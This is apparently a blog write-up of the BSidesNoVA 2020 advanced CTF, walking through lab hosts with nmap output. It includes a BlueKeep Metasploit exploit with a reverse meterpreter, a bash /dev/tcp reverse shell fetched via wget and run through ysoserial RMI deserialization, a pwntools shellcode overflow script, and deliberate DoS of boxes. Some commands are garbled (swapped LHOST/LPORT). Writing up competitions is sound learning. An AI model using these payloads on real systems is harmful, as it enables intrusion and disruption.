BSidesNoVA Advanced CTF Write-up

I am an active member of NoVA Hackers and one of the members asked if I would participate in the advanced CTF at BSidesNoVA, so I did! This is a simple write-up to describe the approach we took for this competition. See below for the event description:

For the advanced players, Arash is returning with another installment of the all-new, all-custom, Pro-Level CTF with a cash prize for the winning team of $2,500. This CTF is a highly realistic, challenging CTF requiring expert skills both on offense and defense. This year’s twist will be an embedded APT. Once the players get on the boxes, they will have to do some forensics to ensure no one else is already there. Other players will have to evict the other actors (other players and the game’s APT) and close their backdoor to keep their access and continue earning points. This excellent and engaging gameplay is a 2-day team event [03.06.20 10:00AM – 03.07.20 4:00PM]

We completed the event in second place. Our team consisted of four people, two NoVA Hackers members and two strangers who we teamed up with two at the event, they were actually pretty good! See below for the final screenshot.

We solved about half the boxes, but much of our time was spent on breaking into the same boxes and keeping our foothold on them.

There were a total of 9 IPs which were in scope for the competition, please see below for the write-up for each of them. Apologies in advance if there are few details for some of them, we didn’t have much time to keep great notes during the competition.

10.100.100.20

3 Ports were open, but we didn’t get into this box.

The name of the box was called: HANS-021E7B2664

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp filtered microsoft-ds

10.100.100.25 – 27

We ran nmap and found the following ports open:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-07 10:30 EST
Nmap scan report for 10.100.100.26
Host is up (0.0096s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp
2869/tcp open icslap
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
10243/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown
49179/tcp open unknown

These boxes were all very similar and had a hint that the box had something to do with “blue.” It wasn’t EternalBlue so we tried Bluekeep.

Metasploit has a module for this, so we leveraged that and ran the following commands to exploit the box:

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 
set RDP_CLIENT_IP 10.50.50.103 [this was our IP] 
unset RDP_CLIENT_NAME set 
RHOSTS 10.100.100.25 set
set payload windows/x64/meterpreter/reverse_tcp
SET LPORT  10.50.50.103 [this was our IP]  
SET LHOST 443
target 1
exploit

Once we were in we automatically patched the host for the vulnerability with the following command.

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” -v UserAuthentication -t REG_DWORD -d 00000001

All the boxes were vulnerable to this exact same script except that the target needed to be set to “2” for 10.100.100.26 as I think it was running a slightly different OS.

Once we were in we migrated to a host that was harder to kill for persistence.

This was done within metasploit with migrate “pid” after we ran ps to find the processes running

We looked for the C2 agent that Arash (the organizer) was running on the machines, it was called AgentService.exe and was summoned repetitively by a powerscript shell, which we also killed. Otherwise we found that Arash would occasionally stop our point capture or kick us off the machines.

The flag was found here:

C:\Users\Teddy\Desktop>type flag.txt.txt
type flag.txt.txt
flag{AuYqvHtdtwYiI8c1SdUm}

At that point, we ran the capture agent to capture “King of the Hill” points for our team.

10.100.100.30

We ran a nmap scan on this host and found the following ports open:

Nmap scan report for 10.100.100.30
Host is up (0.013s latency).
Not shown: 91 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp filtered microsoft-ds
5357/tcp open wsdapi
47281/tcp open remoting
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

We did a detailed scan on 47281 and found the following:

A hint was given to use this exploit, which I compiled and ran, except we need a service name to use it, which is where we got stuck.

10.100.100.35

We ran a nmap scan on the host and see below for the output!

nmap scan report for 10.100.100.35
Host is up (0.018s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
1099/tcp open java-rmi Java RMI
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.4
OS details: Linux 4.4
Uptime guess: 5.514 days (since Sat Feb 29 22:15:52 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zerosTRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
– Hop 1 is the same as for 10.100.100.30
2 14.17 ms 10.100.100.35

The hint was “why so serious” and with that, we found an exploit here for a java serialization exploit.

I made a simple shell file with a bash reverse shell (test.sh) inside it:

#!/bin/bash
bash -i >& /dev/tcp/10.100.100.35/589 0>&1

This was hosted with python.. and then we sent the command to remotely execute the shell which we caught with netcat (the following 4 commands)

nc -lvnp 589 (to listen for the reverse shell)
python -m SimpleHTTPServer 8888 (to host the shell)
sudo java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.100.100.35 1099 Jdk7u21 “wget 10.50.50.103:8888/test.sh” (to upload the shell)
sudo java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.100.100.35 1099 Jdk7u21 “bash test.sh” (to run the shell)

We found the flag and ran the capture agent to start scoring.

10.100.100.40

This was a webapp, nmap scan below:

Nmap scan report for 10.100.100.40
Host is up (0.0054s latency).
Not shown: 97 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp

Nikto was unhelpful:

– Nikto v2.1.6
—————————————————————————
+ Target IP: 10.100.100.40
+ Target Hostname: 10.100.100.40
+ Target Port: 3000
+ Start Time: 2020-03-06 10:33:50 (GMT0)
—————————————————————————
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use ‘-C all’ to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD
+ 7893 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2020-03-06 10:35:35 (GMT0) (105 seconds)
—————————————————————————

However, if you looked on the page, there was a file named dotnet/src/Vuln.js which listed the password of 9yzlmE5BffL9x4ERzfA

There was a flag in the /etc/passwd file:

cat /etc/password
… blah blah blah…
sshd:121:65534::/var/run/sshd:/usr/sbin/nologin
flag:flag{Z1yqXE5H0gzyYlkTaLrU}:1001:1001:,,,:/home/flag:/bin/bash

Another one on the user’s desktop:

jefe@ubuntu:~/Desktop$ cat flag.txt
flag{Fqg2qul66bhIms8DlSMa}

and one in Vuln.js

flag{RIxKc9xaHtPd6IgUKnnh}

10.100.100.45 – 46

We ran a nmap on these hosts:

Nmap scan report for 10.100.100.45
Host is up (0.0052s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
22/tcp open ssh

The hint on these hosts was that the password was default “toor”, this was a freebie.

We used a script to automatically change the password to one that we chose.

We put this in a.bash and ran the following to have it constantly try to login and change the password, since Arash kept resetting the boxes at a fixed interval. At one point we were running these scripts too hard and that crashed the SSH service on them.. oops.

bash a.bash & sleep 0.2 & bash a.bash & sleep 0.2 & bash a.bash & sleep 0.2 & bash a.bash & sleep 0.2 & bash a.bash & sleep 0.2 & bash a.bash & sleep 0.2 & bash a.bash & sleep 0.2 & bash a.bash & sleep 0.2

Our accidental DOS also affected the capture agent so we wrote a similar script to continuously attempt to capture points for us.

10.100.100.50

This was a buffer overflow box, but see nmap below for open ports:

Nmap scan report for 10.100.100.50
Host is up (0.0081s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
80/tcp open http
3000/tcp open unknown

We attempted to use pwn to make an exploit but we just didn’t have enough time to figure out the BOF.. see below for the python script we used to DOS the box instead (if we didn’t get it, the other team wasn’t going to either!)

from pwn import *
context(os=”linux”, arch=”amd64″)
HOST, PORT = “10.100.100.50” , 3000
p = remote (HOST, PORT)
p.recvuntil(“data”)
buf = “”
buf += “\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48”
buf += “\x97\x48\xb9\x02\x00\x1e\x61\x7f\x00\x00\x01\x51\x48”
buf += “\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e”
buf += “\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58”
buf += “\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48”
buf += “\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05”
p.sendline(“\x90”50+buf+”\x41″44+”/x90/xe0/xff/xff/xff/7f”)

10.100.100.51

Similar to the one hosted on port 50, this was a “hard” buffer overflow with some sort of overflow detection enabled. Nmap scan below:

Nmap scan report for 10.100.100.51
Host is up (0.019s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html).
5000/tcp open upnp?
| fingerprint-strings:
| DNSStatusRequestTCP:
| What would you like me to echo back?
| put: Ok, now what?
| DNSVersionBindReqTCP:
| What would you like me to echo back?
| put: Ok, now what?
| Thanks!
| GenericLines:
| What would you like me to echo back?
| put:
| what?
| GetRequest:
| What would you like me to echo back?
| put: GET / HTTP/1.0
| what?
| HTTPOptions:
| What would you like me to echo back?
| put: OPTIONS / HTTP/1.0
| what?
| Help:
| What would you like me to echo back?
| put: HELP
| what?
| NULL:
| What would you like me to echo back?
| RPCCheck, SSLSessionReq, TerminalServerCookie:
| What would you like me to echo back?
| put:
| what?
| Thanks!
| really are trying to bypass my canary?
| RTSPRequest:
| What would you like me to echo back?
| put: OPTIONS / RTSP/1.0
| what?
| SMBProgNeg, ZendJavaBridge:
| What would you like me to echo back?
| put: Ok, now what?
| Thanks!
|_ really are trying to bypass my canary?

We didn’t have time to work on this BOF nor did we try to write a script to DOS it.

Overall, it was a fun event that taught us a bunch about persistence and hunting for enemy shells & backdoors. Thank you Arash and the rest of the BsidesNOVA team for hosting this great event!

Leave a Reply

Your email address will not be published. Required fields are marked *